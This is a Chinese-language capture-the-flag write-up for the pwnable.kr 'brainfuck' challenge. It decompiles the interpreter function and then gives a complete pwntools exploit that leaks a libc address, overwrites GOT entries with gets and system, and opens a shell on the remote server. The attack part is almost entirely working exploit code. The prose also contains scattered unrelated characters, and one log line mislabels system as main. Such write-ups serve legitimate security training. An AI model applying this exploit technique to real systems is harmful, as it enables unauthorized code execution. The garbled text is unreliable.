ida分析文件,發(fā)現(xiàn)關(guān)鍵的函數(shù)是do_brainfuck
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7
result = a1;
switch ( a1 )
{
case 62: // '>'
result = p++ + 1;
break;
case 60: // '<'
result = p-- - 1;
break;
case 43: // '+'
result = p;
++*(_BYTE *)p;
break;
case 45: // '-'
result = p;
--*(_BYTE *)p;
break;
case 46: // '.'
result = putchar(*(_BYTE *)p);
break;
case 44: // ','
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
在該函數(shù)中糖儡,可以對指針p進(jìn)行加減等操作伐坏,以及對指針p指向的位置進(jìn)行讀寫操作。
那么這樣思路就清晰了握联,我們可以通過p的位置計算出got表中putchar/memset等函數(shù)的位置桦沉,然后覆蓋掉
那么接下來就可以寫payload了
from pwn import *
libc = ELF('bf_libc.so')
p = remote('pwnable.kr', 9001)
# 下面的代碼定義了函數(shù)部分,這里利用do_brainfuck完成了指針移位拴疤、讀寫的操作永部。
def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n
# 這里從elf中獲取got表的地址
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0
# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'
p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1) # junkcode
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar = u32(p.recv(4))
log.success("putchar = " + hex(putchar))
gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))
system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))
main = 0x08048671
log.success("main = " + hex(system))
p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))
p.sendline('//bin/sh\0')
p.interactive()